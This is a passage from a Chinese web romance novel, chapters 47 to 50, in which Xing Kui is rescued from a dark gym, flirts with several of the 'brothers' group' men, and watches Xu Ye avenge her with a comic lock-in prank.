空荡荡、黑漆漆的篮球馆内,邢葵脑补的《猛鬼篮球馆》电影已演到高-潮,丰富的想象力在这种关头是磨难,她抱着膝盖缩在观众席角落,那是月光能照到的地方。 欸?可是,可是月光属阴,鬼也属阴。邢葵灵魂都打了个哆嗦,几根手指按住地面,撑着身体往黑暗处挪。 电影里往往这个时候,会钻出一只鬼手抓住她按在地上的手指……妈妈救我! 今天一天的事在脑海回放,她没对许野室友做什么呀,她来学校还给他们带矿泉水了。 怎么就这样了呢?她都没做什么,哪会做错什么。 门外传来急促的跑步声,邢葵从膝盖中昂起脸,鸭舌帽檐投着阴影,眼里湿润,右眼皮一道浅浅的疤痕。 啪嗒,来人在外面打开篮球馆内灯光,突如其来的刺眼使邢葵闭了闭眼睛,抬手遮挡,指缝模糊间,关闭严实的门打开,一双长腿迈进,那是黑色的西服裤。 温暖的双臂罩住她,一股说不上来的木质冷香钻进鼻息,厉乘川低沉的声音在她头顶上方响起:“我来了,别怕。” 邢葵心颤了一下。 “那个……”她把音线压成蚊蝇的程度。 厉乘川手扣在她后颅的帽子上。 “那个……我跟你说件事,你别生气。” “什么?”他的嗓音如此好听,邢葵常见小说中用大提琴来形容男主音色,每每听到厉乘川出声,这样的描写就有了具现化。 “我……我刚出了很多冷汗,你抱我的时刻可能出于救人冲动没想到,这会儿你反应过来了可千万千万不能打我啊!”洁癖男! 厉乘川僵住,邢葵嘴巴打架地说完,也肌肉紧绷,抬手接泪,生怕滴到厉乘川西装上。 手指从她后脑移开,邢葵心想,厉总这是嫌弃她了,她尝试自救,忽悠起他,“你、你冷静,千万不要自我厌弃,你也是为了救人,回去洗洗澡就好了。” 灼热的指腹落到她眼角,邢葵怔然,厉乘川拧着英俊眉头,一点一点擦掉她眼眶下的泪,擦完:“嗯,都碰到了也没办法,还有,再说一次,我没许野说的那么洁癖。” 真的吗?可是不止许野,周镜、江玉鸣私下也跟她说过厉乘川洁癖得要死啊。 “能起来吗?” “腿麻了。”膝盖还有些胀,邢葵摸了摸膝盖,扯住厉乘川衣角,鼓起勇气请求,他自己说的他没那么洁癖,“厉乘川,你能搀着我走吗?” 她忐忑不安,将衣角拧出褶,指尖都来回颤栗,“我刚买过护衣留香珠,桃子味的,超好闻的,回家我送你一瓶,或者我帮你洗外套。” 声音越说越小,尾音都像被风吹散了,厉乘川深邃狭长的黑眸注视着她,少顷,伸出手臂揽住她的肩:“不用。” 他已经得到奖励了。 邢葵靠着厉乘川走出篮球馆,并不想将全部的重量都压他身上,架不住厉乘川搂肩膀的手臂长力气大,她都快被搂厉乘川怀里了。 她不好意思说,只好低着头。 然后在心里大猩猩捶胸,啊啊啊啊啊为什么厉乘川兄弟群的人胸肌都这么不错! 厉乘川垂眸看她:“你的男朋友未免不合格,刚谈就抛下你一个人出国。” 邢葵:“啊?” “没听清?” “听清是听清了,但是……”邢葵纠结,“周律师是你兄弟,说兄弟不合格不太好吧。” “兄弟归兄弟。”兄弟还背着他抢老婆呢,“他当男朋友不合格是事实。” 邢葵仰起脸,微光中她的眼神复杂,就在厉乘川以为她明白周镜的不合格时,她张口:“你是不是想靠故意贬低周律师,拆散我们两个呀?” 厉乘川闭上嘴,往楼下走的脚步快了些。 “其实……” 没有其实!他不想听她维护周镜! “我们已经分手了。” 厉乘川黑皮鞋一停。 邢葵扯扯他的衣裳,“你今天是不是忙,没看到我发的小红薯?我们分得比我发小红薯的时间还要早很多天,你别再介意了。” 厉乘川面无表情,过了一会儿才冷声回道:“嗯,分得好。” 他搀着她下楼,楼梯拐角照不到月光,黑暗处,红且薄的唇角缓缓往上翘起来,一直上翘,怎么也压不下。 邢葵在心里琢磨着“分得好”的“好”字,越想越觉别扭,她和周镜分手好在哪里,这话说得不要太过分啊。 走到楼梯口,她抬头,厉乘川倏地捂住嘴。 “?”他是不是在笑!更过分了! “你发现被困时可以报警。”厉乘川黑眸瞥向她,“为什么不报警,而是打电话给我?” “这个啊。”邢葵说道,“那样有点超过了,我想关我的人就是幼稚,等我逮到人,我也要把他关起来体验体验。报警不至于,我不能因为他蠢,我就让他死啊,而且——” 她猜测,“锁我的人应该是许野室友,许野救过我的命,我要给他面子的。” 楼梯入口需要拐个弯才能看到大楼入口,有一段不短的距离,两人都未注意,门口处,许野在这时跑至。 他听见厉乘川熟悉的声音,也听见邢葵的回答。 兴许是因为他狂奔而来后异常紊乱的心跳,许野心底竟冒出不敢见兄长的感觉,眼看厉乘川和邢葵的影子延伸,他条件反射地躲到大门之后,藏住身形。 “你来学校找许野做什么?”厉乘川问。 “我找他帮我拍自媒体用的素材。”邢葵答。 “拍完了?用这么久?” “嗯……这个……”邢葵控制不住脸庞发热,回忆起许野打篮球时发力的肌肉,加快走路速度,从偏暗的楼梯前冲到月辉较多的大厅,“我还想拍点细节。” 厉乘川觉得她不对劲:“你要拍哪儿?” 躲在大门后的许野屏住呼吸,她会直说吗?还是瞒着厉哥…… 邢葵羞涩脸,她是想瞒的,但许野很听兄长的话,厉乘川去问他也会得到答案,还不如她先坦白。 抬指戳戳自个儿:“就,这儿啦,他不是锻炼得比较好嘛,我发网上绝对有热度。” 她本就不是脸皮很厚的人,说完便红了耳根,连呼吸都乱掉,害羞的模样落进厉乘川眼里,他发誓,要是许野在此,他必定会灌许野十桶饭。 什么身材,他也不差! “为何不找我?” 被厉乘川搀着走到门边的邢葵以为听错了,疑惑地仰脸望他,猝不及防,厉乘川带着她来到门边,身体挡住外面的月光,宽厚的掌握住她的手腕,覆到身前。 “我也有规律锻炼,你为何想不到我?” 邢葵惊异失色,后背抵得门发出声响,眼前昏暗,指腹下的西装剪裁得体,一股热量穿过昂贵的布料渗进她的手掌:“我……” “你不信?”厉乘川压着调子询问,嗓音泛哑,黑漆漆的双眸视线锁着她的脸,钳她手腕的手指加重力道,“大可一探。” 好一位男菩萨,邢葵怀疑他是好胜心作祟,根本不敢摸,试图抽回手:“你没必要和许野比的。” “我认为有必要,探吧,不用顾及旁人,这里没有旁人。” 第48章 这里真的没其他人吗?邢葵小心翼翼地观察周围,好像是没哎。 她没发觉,厉乘川也不知情,就在邢葵背抵着的门后面,藏着许野。 少年高大的身躯笔直地贴着墙,小麦色的手掌捂住唇,生怕泄出呼吸声,他刚吃过东西就奔跑数千米,现下胃部绞痛,体内气息紊乱,宽阔的胸膛起起伏伏。 躲在黑暗的许野,忍耐不适,仔细倾听外面邢葵的动静,声音、呼吸,这些都能判断她的情况,幸好,幸好,幸好她安全。 另一只手反过来用力按着墙,指腹都按成白色。 厉哥的胸肌,没有他的大。 他比厉哥更适 合,更适合拍摄。 邢葵的手虚虚覆在厉乘川平整毫无褶皱的西装上,她被许野和话痨男夹在中间过,感受过许野发达的胸肌,那是一种野蛮生长出的磅礴。 而厉乘川,是一位刻板严肃的总裁,身材也和着装带给人的感觉一样,属于拿尺精准刻画出来的、教科书级别的优秀。 不知道摸起来会不会又硬又软…… 四下无人,那可以——那也不可以摸!摸了,等厉乘川冷静下来,气得不肯租她房子了咋办!他可是她房东! 冲动是魔鬼,她得管住手,大脑啊,神经系统啊,我警告你们,想摸等回家找慷慨的江玉鸣。 心理暗示许多遍后,邢葵相信她的大脑懂了主人的意思,开口婉拒:“是这样的,厉乘川,我是要拍给网友看的,你能接受被千千万的陌生人看见身体吗?” 厉乘川:“……”那不行。 许野:就是。 “我知道你接受不了,这件事能做的只有许野,毕竟他从小就打公开赛。” 许野藏在门的后面点头。 “而且本身在我的账号上,许野讨论度最高,救命恩人是有八块腹肌的男大学生,这个主题的热度我更有把握。” “你怎么知道他有八块腹肌?”厉乘川忍不住张唇,“他不一定有。” 厉哥胡说!他有!门后,许野低眸看向他的胸膛,在昏翳中伸指数了数。没错,正好八块。 邢葵不确定啊,她又没数过:“应该有吧,那他没有再说嘛,你让开吧,反正你又不肯让我拍。” 她用腕骨推搡厉乘川,许野常年打比赛,胜负欲重,听到她的拒绝,一种胜利感压过对兄长的敬畏冲上来,深红的唇微张,泄出笑,并没有声音,但有气。 那气从门侧散出,与空气混在一起,邢葵微滞,忽然感觉颈后到肩膀的皮肤似乎被一丝热气擦过。 很轻,轻到邢葵都要以为是错觉。 但是鬼片不都这么演吗?若有似无,最是惊悚。 妈妈!邢葵寒毛直竖,猛地跳起来,腿压着西装缠住厉乘川劲瘦的腰:“有鬼!” 厉乘川被突然一撞,倒没站不稳,怕邢葵摔伤,第一时间摁住她两边大腿,第二时间才意识到他的手在摁着什么,指腹瞬烫。 指尖压着肉,柔软冰凉的身体也缠着他,邢葵搂住他的脖颈埋进他的肩,直哆嗦,像一只用四肢抱人的小兔子,发丝蹭着他的皮肤,痒痒的。 “是窗户没关紧。”厉乘川扫了眼附近窗户。 殊不知,就在一门之隔处,许野用双手遮着唇,紧张得额角冒汗,闪烁的眼神中透着对刚才外面动静的好奇。 “你要实在怕,我们也可以就这样出去。” 这样?哪样? “我怕,我、我下来,你挡着我点儿,我们快走吧。” 冰冷下滑,厉乘川半捂着脚落地面的邢葵,其实觉得邢葵不下来也行,陪着她往大楼外走:“你已经拍到一些照片了,细节就别想了,许野不会答应的。” “真的吗……” “你想想都不可能。” “我想想,好吧。” 两人出门,许野挪到窗边,偷偷探头,看月光下厉乘川带着邢葵一步步远离他,手按着一阵阵绞痛的胃,额头冷汗涔涔,唇用力抿到颤栗。 月照枝头,大楼前的香樟树在风中沙沙演奏,郁葱繁密的枝叶中,两只麻雀交首相贴,第三只麻雀飞来横插一脚,挤掉一只。 那一只被挤到旁边,焦急烦闷又不知所措地唧啾,这一叫便叫到树枝缝隙中月亮落下太阳升起。 邢葵从被窝里钻出来,脸颊晕着粉色,眼角也有几分湿潮,坐起身,抬脚踹了踹非要和她挤一张床的江玉鸣。 江玉鸣清晰深刻的双眼皮动了动,弯唇笑,枕住手臂,睁开他那双勾魂的眼眸,视线戏谑又黏稠地落在邢葵脸庞。 “醒这么早,没摸够?” 滚烫的目光从脸腮寸寸下移,落到邢葵手指,江玉鸣捉住她一只手,把玩,“真是只能让我爽到天上的手。” “!”邢葵惊恐地捂住他的嘴,死死捂紧,“你不许再说烧话!昨天晚上我都说不摸不摸了,你非诱惑我不让我停,还让我用、用……” 邢葵两边脸都烫得能煮鸡蛋,昨晚她回家后和江玉鸣讲了遭遇,他果真十分慷慨地让她感受人体腰以上的肌肉。 她没好意思,江玉鸣就勾-引她,讲道理,一个有着正常需求的成年人,如何受得了江大美人的勾-引。 但邢葵发誓,她起初只想碰一下! 可后来一下变成十下,一分钟变成十分钟,十分钟变成……稍稍回忆了番当时江玉鸣靡艳的哼吟,邢葵的脸就跟昨晚贴江玉鸣时同等炽热。 她好几次试着叫停,江玉鸣便捧着她的头,在她颅顶扑洒热气:“可以停,换成夹厉乘川一样夹我。” 什么!他说什么! 邢葵哪敢,人厉乘川坐怀不乱正人君子,换成江玉鸣这种她一伸手、他能从她指尖舔到身下的烧种,到时候是她夹他还是他磨她啊。 昨晚的江玉鸣当真烧得她不敢细想,那声音,她都想问问他要不要喝点儿水,当然她没问,她怕问了之后,江玉鸣要的不是热水壶里的水。 他大概,是吃醋了。 再后来,邢葵捧着江玉鸣的脸亲了他很久,才好像将人哄好,至于有没有真哄好,不清楚,她迷迷糊糊睡着了。 应该是哄好了,邢葵半梦半醒间有感觉到江玉鸣温柔地啄她的唇。 “不许再烧了哦,同意就眨一下眼。”邢葵严肃警告,“我要起床了。” 江玉鸣眨了下他的眼睛,邢葵移走捂他嘴的手,他又眨了下。 邢葵拿床头柜手机,江玉鸣便没骨头似的趴到她肩上,冲她耳朵里吹气,过分使用后哑着的嗓子道:“早上我没法儿不烧呀葵葵,我身体很好,晨起准时。” 他大手贴上她的脸,示意她看被子。 邢葵:“……”她抬起手机,“你下去还是我敲断?” “好狠的心。”江玉鸣搂住她的腰,“看来我只能凭借自己的想象力疏解了。” 邢葵耳热,抿紧唇,头撇到一边,他想他的,别跟她讲哦。她看手机上收到的消息:“许野让我去一趟学校。”奇怪。 她退出页面,瞥见昨晚她联系的厉乘川头像,笑,“说来,你不觉得厉乘川的id有点好玩吗……” 邢葵边说边扭回头,江玉鸣情谷欠上脸的模样撞进眼里,噢,他在想象,她火速转回去。 “什么好玩?”江玉鸣伸手,长指缠住她的手指,用力深缠,一声低笑,音色浑浊,音线仿似在颤栗,“快告诉我,跟我打打岔,不然我要更兴奋了。” 你想象了什么啊!!! “就是。”邢葵大声又快速地说道,“厉乘川的id不是三个竖嘛,竖那个符号单独念,念‘滚’,所以厉乘川的昵称连起来读,像是在叫小三滚。” “这样啊,真有意思。”江玉鸣微眯眼睛,低低地笑起来。 “许野找我,我要刷牙洗脸出门了,你忙吧。”邢葵跳下床,落荒而逃。 江玉鸣弯着眼眸注视着她的背影,直到再看不见,他捞过他那边床头柜上手机,点开“玫瑰花TOP1”备忘录。 10/40, 0/7。 记录完,江玉鸣靠到床头,闭上眼睛缓慢调整呼吸,思索起昨日邢葵的经历。 真贱啊厉乘川,向邢葵卖弄风骚,也不想想论骚,骚不骚得过他。 “3丨”,“三滚”,作为相亲相爱兄弟群的管理员,厉乘川确实让小三滚了:他将周镜踢出了群。 不过江玉鸣调侃他时,厉乘川给出的说法是:“相亲相爱兄弟群”曾用名“全员c男群”,不是处的人不该待在群里。 真是嘴硬,一个周镜就让厉乘川开车相撞,不知道再来一位兄弟,厉乘川会怎样疯狂,真期待。 江玉鸣下床,但是,他再怎样想从兄弟中找一位做邢葵新的契约结婚对象,那个人,他不希望是许野。 有周镜例子在前,江玉鸣明确认识到,邢葵心软,她是会动心的,而许野赤诚憨莽,可能某个瞬间就如一头野豹冲进邢葵心里。 虽然江玉鸣口口声声他会当三,但能做正宫谁要做三? 卫生间,邢葵拿着鹅黄色的牙刷,刷着牙齿,许野意料之外地主动找她,指不定厉乘川说得不对,人许野愿意让她拍细节呢! 想到今儿或许能拍到许野健硕的胸上肌胸前肌胸下肌,邢葵杏眼都眯成一条缝。 两只长臂从后面圈住她,江玉鸣将她反过来,邢葵眨眨眼,嘴含着白桃味的牙膏沫,腰抵着洗手台,老实巴交。 “我陪你一起去见许野好不好呀?” 邢葵嘴里有牙膏沫,不便说话,摇了摇头。 带着哥哥去,跟她逼迫许野拍似的,何况江玉鸣也忙,他的忙不是那种二十四小时全天候的忙,而是随机的,有时候医院凌晨一通电话,他刚睡着也要起身。 江玉鸣笑着戳戳她的脸颊:“还想拍细节是不是?” 那肯定了! “来。” 他抓住她的手,牵引着她手指一根根穿过白色卫衣下边缘,上移。 “再摸摸,要记住,我的,比许野美型。” 第49章 “喂。”一只宽阔的小麦色手掌在邢葵眼前晃了晃。 四月将尽,京江大校内的桃花路上,浅粉色的花朵盛放,午间金橙色的阳光穿过花叶罅隙落在邢葵脸颊,许野立在她身前,接住穿过她投下的光。 “噢,不好意思不好意思,我走了会儿神,你刚说什么?” 邢葵猛然回神,仰起的脸庞两抹桃花色,许野看着她,凌厉的眼眸发怔,四周鸟语空灵,花香清新……许野的脸也和邢葵一样红起来。 呃,她脸红是因为江玉鸣的晨间诱惑,他脸红什么啦。 都怪江玉鸣!非要引诱她,她这会儿人在学校,魂还在天上,满脑子都是江医生热烂的低吟中吟高吟,很难集中注意力。 江玉鸣还单方面和她约了今晚继续,吼,就这样还行啦,关键这人脸皮巨厚,半途周镜给她打电话,他居然接。 他喘着,和远在里约热内卢的周镜说:“你的前女友,在我的怀里,好爽。” 那一瞬间,被他扣在心口的邢葵恨不得当场表演个原地爆炸,地球不适合她生存,下辈子不来了。 幸好江玉鸣挑衅的对象是冷静理智的周镜,冷冷淡淡一句“你爽到位了吗?”噎住江玉鸣,邢葵才能逃出来。 “对不住,我不是故意不专心听你说话的。” 种满桃花的长道上,邢葵用她不自恋的大脑想了想,生气也会致使两颊充红,刚许野在跟她讲话,很有可能是看到她走神恼怒了,“你能再跟我说一遍吗?” 也不知她又有哪句话说得不妥,许野双颊红霞仿佛落池的红墨水,持续晕开。 她很抱歉,她真不是有意走的神。 许野粗着嗓子,在她再一次道歉前先道:“我说,我们去我宿舍。” 他的音色介于少年和成熟男性之间,有些还没彻底定型的粗糙,听着很凶,其实可能没在凶。 邢葵想起,许野看上去剑眉星目、能一脚踢遍十八高校的模样,实际很听厉乘川他们几位哥哥的话,这人还有点反差憨。 但还是惹不得,人真有一脚踹到她骨折的本事,毕竟厉乘川他们是许野的哥,她又不是许野的姐。 “我们?”邢葵斟酌着问。 “不能我们吗?” “不是,但……” 邢葵提步,跟着许野走,这是条两旁种满桃花树的青石板长路,桃花纷飞,石板古朴,该是浪漫氛围,许野却愣是走出几分肃杀血腥气。 粉色的椭圆形花瓣往许野精壮的身体飘,他紧实的肌肉将它们撞开……身材真好哇。 邢葵专注地望了几秒,愣神工夫被许野拉出很长一段距离,赶快拔腿:“不是,我是想说,你要同意帮我拍素材,去阳光好的活动室就成,我俩去你宿舍不好吧?” 是啊,情侣能在宿舍接吻,他俩去宿舍算能干什么。 即使昨夜梦魇,许野和邢葵经历了一遍她和厉乘川的环腿抱。 他架着苍白的小蛋糕描摹红霞,股四头肌磨到小蛋糕融化,可夜梦之后,太阳升起,在真正的日光下,他们不熟。 许野径直往前面走,他不善言辞:“我没说同意,跟我来就知道了。” 邢葵想不通,而且许野个子有一米九,腿那么长,她真追不上,许野在前方走,她在后面忙忙乱乱地赶,感觉她就像被许野撞开的花瓣,遥遥抛在后头。 许野往后一瞥,悄无声息地放缓速度。 片刻后,邢葵追上,惊异地低头瞅腿,摸摸膝盖,没想到这两条被两千斤汽车撞过的腿还挺争气。 抚上起伏的胸口,趁追赶上许野,邢葵揪住许野的短袖衣角:“你走慢一点,你走快了我会跟丢你的。” 许野褐眸低下,食指和拇指揪着他的衣裳,关节等处透着粉白色,那是因为邢葵的手曾在车祸中受过伤,伤口痕迹需要漫长的时间才能完全消失。 昨天夜里,这双手,这些一看就属于邢葵的手指,穿梭过他的腰腹,攀援他的胸膛,点起一簇簇热焰,跟他说,你是第一名…… 许野瞬间扬高下巴,直直面向前方男生宿舍A号楼:“不会丢的,你抓住我了。” 邢葵仰着头,许野干嘛这种目不斜视的样儿?是觉得她太菜不忍直视吗? 那也不能怪她呀,自从出过车祸,她身体素质直线降低,能追上都像做梦,况且谁能跟许野比速度! 有一说一,许野真帅啊,面部要有足够高的立体度,才能在被人仰视时不灾难,许野的轮廓、五官,处处都极具线条感,跟漫画人物一样。 可惜她对肌肉发达的运动系不感冒,邢葵揪着许野衣服,亦步亦趋跟着他走进A号楼,不懂来男生宿舍的原因。 上学那会儿她都没进过男生宿舍,从大楼入口转到楼梯,邢葵下意识更靠近许野后背,不是害羞,是嫌臭。 甫一进楼,她就感觉穿越进了末日时代丧尸世界,不然无法解释盈斥在空气中生化武器味儿。 许野住在这儿还能不臭,真是了不起。之前邢葵闻到过他身上味道,那时也不好闻,是化瘀气雾剂的气味。今天的他没喷化瘀剂,透着一种淡淡的金桔香。 宿舍楼臭得像暗藏尸体,还不止一具,邢葵鼻尖都快贴到许野的背,他后背暖烘烘的,又香,要是他是她男朋友,她就抱上去、然后甩他一巴掌了。 拉她进这里干什么!找打! 三楼,许野显然是校园风云人物,从她和他进楼起就有人盯着他们瞧,到了三楼,更有人吹起口哨。 “许哥,嫂子啊?” 许野/邢葵:活得太长/作业太少是吧。 戏谑的眼神中,许野身体紧绷,邢葵压了压帽檐,两人一前一后走到308号宿舍,宿舍门口许野三名室友正笔直站着,宛如酒店迎宾。 一见到邢葵,旁边两名按住中间一名,鞠躬道歉:“对不起,昨晚让嫂子受苦了!” 邢葵:“?” 许野耳朵涌起深红:“别乱叫。” 他往后侧眸,瞄了她一眼,又瞄了眼走廊观望的其他学生,伸手将她拉到他身前,下巴一指,“就是他把你锁在篮球馆。” 邢葵认出,正是那名跟她说许野去洗澡、叫她留在篮球馆等的男生,她先前就对幕后凶手有过猜测,不算意外。 锁她,你小子好得很,等想到不违法的方法,她迟早也要将他锁起来,一报还一报。 没成想,三名室友看了眼身后许野,随即打开旁边宿舍门,这会儿是白天,正午,一天阳光最灿烂的时候,室内却是全黑色,遮光黑布挡住了一切光线。 两名室友将锁她的室友连踢带踹进门,锁她的室友扭身扒住 门框:“你计好时,我关了你多久,你就多久再放我出来,最好早点,我求求你。” 邢葵不理解,砰,宿舍门被无情关上,一名室友负责锁门,另一名室友拿起门前平板,恭敬向她递来。 她没接,毕竟不清楚有多少细菌,低眼看去,居然是室内监控,我的天!他们把他关了禁闭! 紧接着,惊悚的鬼叫声响起。 妈呀! 邢葵吓得往后跃,捂住耳朵,后颅压进饱满起伏的山丘,随即意识到宿舍内正在发生什么,忍俊不禁。 那名室友以她理想中的方式受了罚,以其人之道还治其人之身,他正身处黑暗上锁的空间,体验三百六十度立体环绕的鬼叫,门后他恐惧的惨叫声一阵又一阵。 原来许野叫她来学校是替她报仇! 邢葵后脑勺抵着胸肌,昂头看许野,惊奇地眨眨眼,与她四目相对,许野闷咳一声,避开眼神:“干什么,你觉得我会让你白白受罪?” “没有啦,就是惊讶你居然能想到这种办法。”邢葵挠了挠额角,翕动唇瓣,几近自言自语,“我还以为你会是武力派。” 室友:……真相了嫂子,要不是被武力镇压过,那名室友也不能甘愿受罚。 许野抿住唇角,他是啊,他四肢发达、头脑简单,让他想报复方法第一反应就是揍得对方鼻青脸肿,可—— 昨晚许野偷听到了邢葵和厉乘川的谈话内容,他非常听话,邢葵要怎样报仇,他就怎样帮她。 “无论如何,谢谢你呀。”邢葵嘴角轻扬,表达着感谢,笑意浅浅,“我还有个请求,你能听听吗?” 许野不自在地撇过头:“说。” 邢葵温顺驯良:“能调低鬼叫声的音量吗?现在的过高了,他很快就会适应,鬼叫声要若有似无,才最让人毛骨悚然。” 室友:不要用人畜无害的表情说这种恐怖的话啊喂! 许野:“好。” 室友:看在咱们室友情谊的份上你好歹犹豫一下啊喂! 许野接过平板调音量,边瞧边偷瞄邢葵,原先他还有点忐忑邢葵会害怕这样报复,可她怕只是怕鬼。 和他们在医院初遇那天一样,邢葵胆小却不唯唯诺诺、善良且有一条底线,犯错的人在她看来需得付出代价。 音量降低,宿舍内惊惧的尖叫声更加富有情感,邢葵听到翘嘴,有人来电,她拿起手机。 怕黑屏会照见脸上疤痕,邢葵每次接电话都会先在一边接通,再拿回来,许野因此清楚看见,机屏显示微信语音通话,申请人头像为一面“灰金色椭圆镜”,备注是“周镜律师”。 近乎本能地,许野紧撇嘴,下颌线那一块皮连着肉都绷了绷。 “关到晚上再放他出来吧,既然你还是不肯拍素材,没其他事我能走了吗?”邢葵捂捂鼻子,抵抗楼里难以言表的臭味,加上有电话,便想告辞。 走,当然,男朋友来电,旁人哪里能听。 他的同学起哄叫邢葵嫂子,但她不是他们的嫂子,却真是他的嫂子,她在和周镜——他的哥哥恋爱。 许野扭头:“跟我过来。” 不解他还有什么事,担心周镜久等,邢葵调低手机来电音量,确认别人听不见,边跟许野走边接起来:“周律师,你那里都凌晨一点了,怎么还不睡。” 早上荒唐还在邢葵脑海,她跟周镜说话都止不住脸热。 前方,许野竖直耳朵,随即又唾弃他的条件反射,拍了下耳朵,剑眉下犀利的褐眸不受控地瞟看邢葵。 邢葵没注意,反复回想早晨江玉鸣直白挑衅周镜,脸颊热出一层浅红,不知道近在手机中、远在里约热内卢的周镜,是不是因此才没睡着。 教室外天穹晴朗,异国他乡夜色朦胧,酒店高层,深夜昏光落在室内,工作一日的周律师立在落地窗前,灰色睡衣肩头盛着浅淡月辉。 明显他本要休息,却没入睡,夜间城市光点零零散散,与那晚墙壁摇颤的小夜灯投影重叠,周镜薄唇贴在手机边,静了几秒,张动:“你怎么知道我这里是凌晨一点。” 邢葵自豪:“我查过呀,里约热内卢和南州时差十一个小时。” 周镜嘴角微弯,眸光温和:“江玉鸣还在旁边?” “不!不不不!我出门了。”邢葵立马晃手否认,耳尖温度飙高,在心里将江玉鸣耳朵扭成麻花。 害羞的模样落进前方许野眼里,她的表情是羞涩的,语气是轻快的,和跟他对话时的谨慎警惕天壤之别。 许野用力撇了下嘴角,不大开心,准确地说,他有点烦躁。 都是兄弟,邢葵待他为何跟待其他人不同?他有那么可怕吗? 许野想起从昨夜到现在收到的消息—— 厉乘川明着警告他,倘如邢葵再来找他拍照,要拒绝。 江玉鸣暗着提点他,离邢葵远些,他也不想兄弟阋墙吧? 烦,很烦,一直以来,许野就不断被兄长们压着斩断和邢葵的交集,从医院相遇到今日,一次又一次。现如今周镜如果听说,大概也会加以阻止。 他都没机会让邢葵了解他更深,兄长们何必这么待他,他又没干什么!他有在努力遏制对邢葵心动,坦白说,他和邢葵交集了又怎样? 邢葵就是想拍点他的身体,等同于雇他当个模特,不涉私情,纯粹雇佣关系,为什么不能让她拍! 阳光青睐的无人教室,邢葵跟随许野走进去,耳边的手机里,周镜令人意外地说:“多出门逛逛也好,你该认识些新的朋友,我是说男性朋友。你觉得许野怎么样?” 邢葵嘴角弧度当即僵滞,一抬头,教室中心,透过窗户的一线线暖阳照在许野身上,他骨骼突出的手掌撩起短袖下衣摆,光线照上他的腹肌。 “我有八块腹肌,你要拍哪一块?” 第50章 欸?! 发生了什么?! 周镜和许野的两个问题一前一后从手机和前面落进邢葵耳里,她没法儿同时处理两个,匆匆上前抓住许野撩起的衣服,拽下来,盖住他的八块腹肌:“你先等一下。” 许野拧眉不快:“你不是一直很想拍?” 是啊,架不住现在有意外发生!身处异乡的周镜突然向她推荐起许野,邢葵就站在许野身前,一时慌乱束手无策。 “有人在旁边?是谁?”手机里,周镜显然听到一点动静,音调扬起来。 就是你要她考虑的许野啊!此刻情景万分抓马,邢葵气血上头,干脆抓着许野,拉着他坐到教室空位,单手捂住他的嘴——ok,许野已解决。 许野不敢相信,动身挣扎。 她怎能这么对他?周镜是她男朋友不假,可拍摄的事、他和邢葵的事分明在周镜来电之前,为什么要他排后面? 而且就算周镜是她男朋友,也是他认识邢葵在先。许野是不够聪明,却也不愚蠢。此前,厉哥莫名发觉他对邢葵心意,加以阻碍,到头来周镜一鸣惊人成了邢葵新男友。 这其中周镜干了什么,他猜不全,却也能猜到些。 男女感情上的事也就罢了,这一回,是邢葵要拍东西,凭什么他还要被周镜压着?邢葵更禁止他发言,他不凶,不代表他好说话! 柔软的掌肉压着许野的唇,冰凉香甜的气息弥散,令人情不自禁联想起夏日上完体育课后、从小卖部冰柜里取出的水蜜桃味冷饮。 深褐色的瞳仁上,许野睫毛颤了颤,咽动喉结,小麦色手指屈起,揪紧短裤,邢葵捂他的嘴,那算了,挣扎不了,先让她和男朋友聊吧。 一旁,邢葵坐在椅子上,偷看了眼许野,脸撇到另一边,鬼鬼祟祟地掩住唇,对手机:“旁边没谁,路人甲,周律师,你刚说什么呢,我没听错吧?” 路人甲,但八块腹肌,全群最大腹肌——许野在心底着重强调。 邢葵单手控着许野的唇,小心翼翼地向周镜确认,让许野听到她的话不打紧,她有注 意用词,可不能让许野听到周镜声音。 周镜方才问她,觉得许野怎么样? 里约热内卢这会儿的气温也不高啊,怎么周镜都烧糊涂了。 “你没听错。”穿越数不清的距离,周镜的肯定传进邢葵耳窝,“我在向你推荐许野,他还没到法定结婚年纪,很适合与你恋爱。” 邢葵立时愣住。催婚是一道环她头顶的紧箍咒,她和周镜在一起一天就分手,是因为周镜的条件太适合结婚,和他恋爱只会引来更剧烈的催婚。 假结婚对象太难找,之前邢葵就想过,有没有可能还是以恋爱的形式,有人能带来更多喘息时长。如今周镜向她点出许野。 没到法定结婚年纪的人,天然能带来很多喘息时间。 年下居然有这作用!对啊对啊,周镜说得对,许野的年龄在法定结婚岁数之下,他完全可以。 只是,可惜了,邢葵对运动系无感,而且周镜身为前男友,为她介绍新男友,这对吗?“你不吃醋?” “很醋,但现在,我更想给江玉鸣找些不快。” 倒映夜间城市灯光的窗户外,一只飞蛾碍眼撞击玻璃,张着三角形翅膀,仿佛张扬挑衅,周镜反手轻扣窗户,驱赶飞蛾,眼神泛冷。 “他一个人过分舒坦,是时候在他身边放一只猛兽。” “……”江玉鸣,让你烧,惹到周镜了吧。不过,引入许野不会伤敌一千自损八百吗? “抢不过是我的事,你不用有压力。”周镜音色温柔,“何况,你的父母认为谈一场恋爱便要定终生,这是错误的,葵葵,我支持你多试试,人生是不断做选择的过程,有A有B才能做选择。” 邢葵听呆。 “当然,竞争到最后的赢家也会在你心里占据更多分量,我希望这个赢家是我。” 阳光照着地面,金灿灿的,似周镜的眼镜框,邢葵弯起两边嘴角甜甜无声笑开:“那我要说什么呀,我祝你成功?” 周镜唇边微弯:“你要祝我,早些忙完这里的案子,我想你了。” 邢葵应答:“好,早点回来。” “早点回来”~许野咂摸着这句话,高挺的鼻梁在邢葵手上方皱起。他有个室友也有女朋友,成天宝宝、宝宝,怎就听着没他们恶心。 而且邢葵笑这么甜,让人好想亲。 打住,许野咬住牙齿,他只想助邢葵拍摄,可没想当小四。 挂断电话,邢葵移开捂许野嘴的手:“拍照片吧?你刚刚是说,同意帮我拍了吗?”她心不在焉,点着手机屏幕找相机,视线不由自主落到许野年轻的腰。 腰部以上精悍,腰部以下矫健,她盯到哪里,哪里肌肉鼓动,野性满满,与低于法定结婚年龄的人谈恋爱确实…… “喂!”许野猛不丁的喊声惊醒邢葵,年轻男大流畅的下颌线紧绷,轮廓清晰的侧脸对着她,嗓音粗糙,“看来看去的,你到底要拍哪里?” “噢噢。”邢葵心虚地舔舔唇,点开相机搞她的自媒体,“你把衣裳撩起来吧。” 诚然,周镜的建议确有一定可行性,只是恋爱对象是许野……还是算了。 一来,周镜的出发点是对付江玉鸣,但江玉鸣待她体贴入微,不能周镜要对付,她就去顺应。 二来,是啦,许野身材顶级优质,可运动系真在她雷区。 有句话叫,既然男人都不是好东西,为什么不选帅的。衍生一下,既然男人都有可能家暴,为什么要选暴躁起来推她一把就能弄死她的。 